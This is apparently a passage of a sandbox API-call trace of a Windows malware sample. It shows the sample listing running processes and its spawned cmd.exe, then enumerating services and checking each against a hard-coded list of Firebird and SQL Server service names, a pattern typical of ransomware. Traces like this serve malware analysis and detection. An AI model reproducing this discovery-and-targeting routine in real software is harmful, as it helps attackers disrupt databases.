lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0106.762] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0106.762] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0106.764] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0106.764] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0106.765] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0106.765] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0106.767] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0106.767] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0106.768] lstrlenW (lpString="bd guidance.exe") returned 15 [0106.768] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.770] lstrlenW (lpString="conhost.exe") returned 11 [0106.770] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.772] lstrlenW (lpString="conhost.exe") returned 11 [0106.772] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0106.773] lstrlenW (lpString="lang hl gis.exe") returned 15 [0106.773] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.774] lstrlenW (lpString="svchost.exe") returned 11 [0106.774] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0106.775] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0106.775] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0106.776] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0106.776] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.778] lstrlenW (lpString="conhost.exe") returned 11 [0106.778] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0106.779] lstrlenW (lpString="cmd.exe") returned 7 [0106.779] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0106.781] lstrlenW (lpString="conhost.exe") returned 11 [0106.781] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0106.781] lstrlenW (lpString="sppsvc.exe") returned 10 [0106.781] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0106.782] lstrlenW (lpString="dllhost.exe") returned 11 [0106.782] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0106.784] lstrlenW (lpString="mode.com") returned 8 [0106.784] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0106.785] lstrlenW (lpString="LogonUI.exe") returned 11 [0106.785] Process32NextW (in: hSnapshot=0x338, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0106.786] CloseHandle (hObject=0x338) returned 1 [0106.787] Sleep (dwMilliseconds=0x1f4) [0107.724] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f0a0 [0107.725] EnumServicesStatusExW (in: hSCManager=0x47f0a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0107.726] GetLastError () returned 0xea [0107.726] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d4a) returned 0x368a0f0 [0107.727] EnumServicesStatusExW (in: hSCManager=0x47f0a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x368a0f0, cbBufSize=0x1d4a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x368a0f0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0107.728] CloseServiceHandle (hSCObject=0x47f0a0) returned 1 [0107.728] lstrlenW (lpString="Appinfo") returned 7 [0107.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0107.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0107.728] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0107.728] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0107.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0107.728] lstrlenW (lpString="AppXSvc") returned 7 [0107.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0107.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0107.728] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0107.728] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0107.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0107.728] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0107.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0107.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0107.728] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0107.728] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0107.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0107.729] lstrlenW (lpString="Audiosrv") returned 8 [0107.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0107.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0107.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0107.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0107.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0107.729] lstrlenW (lpString="BFE") returned 3 [0107.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0107.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0107.729] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0107.729] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0107.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0107.729] lstrlenW (lpString="BITS") returned 4 [0107.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0107.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0107.729] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0107.729] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0107.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0107.729] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0107.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0107.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0107.729] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0107.729] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0107.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0107.730] lstrlenW (lpString="CDPSvc") returned 6 [0107.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0107.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0107.730] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0107.730] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0107.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0107.730] lstrlenW (lpString="ClickToRunSvc") returned 13 [0107.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0107.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0107.730] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0107.730] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0107.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0107.730] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0107.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0107.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0107.730] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0107.730] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0107.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0107.730] lstrlenW (lpString="CryptSvc") returned 8 [0107.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0107.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0107.730] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0107.730] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0107.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0107.731] lstrlenW (lpString="DcomLaunch") returned 10 [0107.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0107.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0107.731] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0107.731] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0107.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0107.731] lstrlenW (lpString="DeviceAssociationService") returned 24 [0107.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0107.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0107.731] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0107.731] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0107.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0107.731] lstrlenW (lpString="Dhcp") returned 4 [0107.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0107.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0107.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0107.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0107.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0107.731] lstrlenW (lpString="Dnscache") returned 8 [0107.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0107.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0107.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0107.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0107.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0107.732] lstrlenW (lpString="DoSvc") returned 5 [0107.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0107.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0107.732] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0107.732] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0107.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0107.732] lstrlenW (lpString="DPS") returned 3 [0107.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0107.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0107.732] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0107.732] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0107.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0107.732] lstrlenW (lpString="DusmSvc") returned 7 [0107.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0107.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0107.732] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0107.732] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0107.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0107.732] lstrlenW (lpString="EventLog") returned 8 [0107.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0107.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0107.733] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0107.733] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0107.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0107.733] lstrlenW (lpString="EventSystem") returned 11 [0107.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0107.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0107.733] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0107.733] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0107.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0107.733] lstrlenW (lpString="FontCache") returned 9 [0107.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0107.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0107.733] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0107.733] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0107.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0107.733] lstrlenW (lpString="gpsvc") returned 5 [0107.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0107.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0107.733] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0107.733] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0107.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0107.733] lstrlenW (lpString="iphlpsvc") returned 8 [0107.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0107.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0107.734] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0107.734] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0107.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0107.734] lstrlenW (lpString="KeyIso") returned 6 [0107.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0107.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0107.734] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0107.734] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0107.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0107.734] lstrlenW (lpString="LanmanServer") returned 12 [0107.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0107.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0107.734] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0107.734] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0107.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0107.734] lstrlenW (lpString="LanmanWorkstation") returned 17 [0107.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0107.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0107.734] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0107.734] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0107.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0107.734] lstrlenW (lpString="lfsvc") returned 5 [0107.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0107.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0107.734] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0107.735] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0107.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0107.735] lstrlenW (lpString="lmhosts") returned 7 [0107.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0107.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0107.735] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0107.735] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0107.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0107.735] lstrlenW (lpString="LSM") returned 3 [0107.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0107.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0107.735] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0107.735] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0107.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0107.735] lstrlenW (lpString="MpsSvc") returned 6 [0107.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0107.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0107.735] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0107.735] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0107.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0107.735] lstrlenW (lpString="NcbService") returned 10 [0107.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0107.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0107.735] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0107.735] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0107.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0107.736] lstrlenW (lpString="netprofm") returned 8 [0107.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0107.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0107.736] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0107.736] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0107.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0107.736] lstrlenW (lpString="NlaSvc") returned 6 [0107.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0107.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0107.736] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0107.736] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0107.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0107.736] lstrlenW (lpString="nsi") returned 3 [0107.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0107.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0107.736] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0107.736] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0107.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0107.736] lstrlenW (lpString="PcaSvc") returned 6 [0107.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0107.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0107.736] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0107.736] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0107.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0107.736] lstrlenW (lpString="PlugPlay") returned 8 [0107.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0107.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0107.737] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0107.737] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0107.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0107.737] lstrlenW (lpString="Power") returned 5 [0107.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0107.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0107.737] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0107.737] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0107.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0107.737] lstrlenW (lpString="ProfSvc") returned 7 [0107.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0107.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0107.737] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0107.737] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0107.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0107.737] lstrlenW (lpString="RpcEptMapper") returned 12 [0107.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0107.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0107.737] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 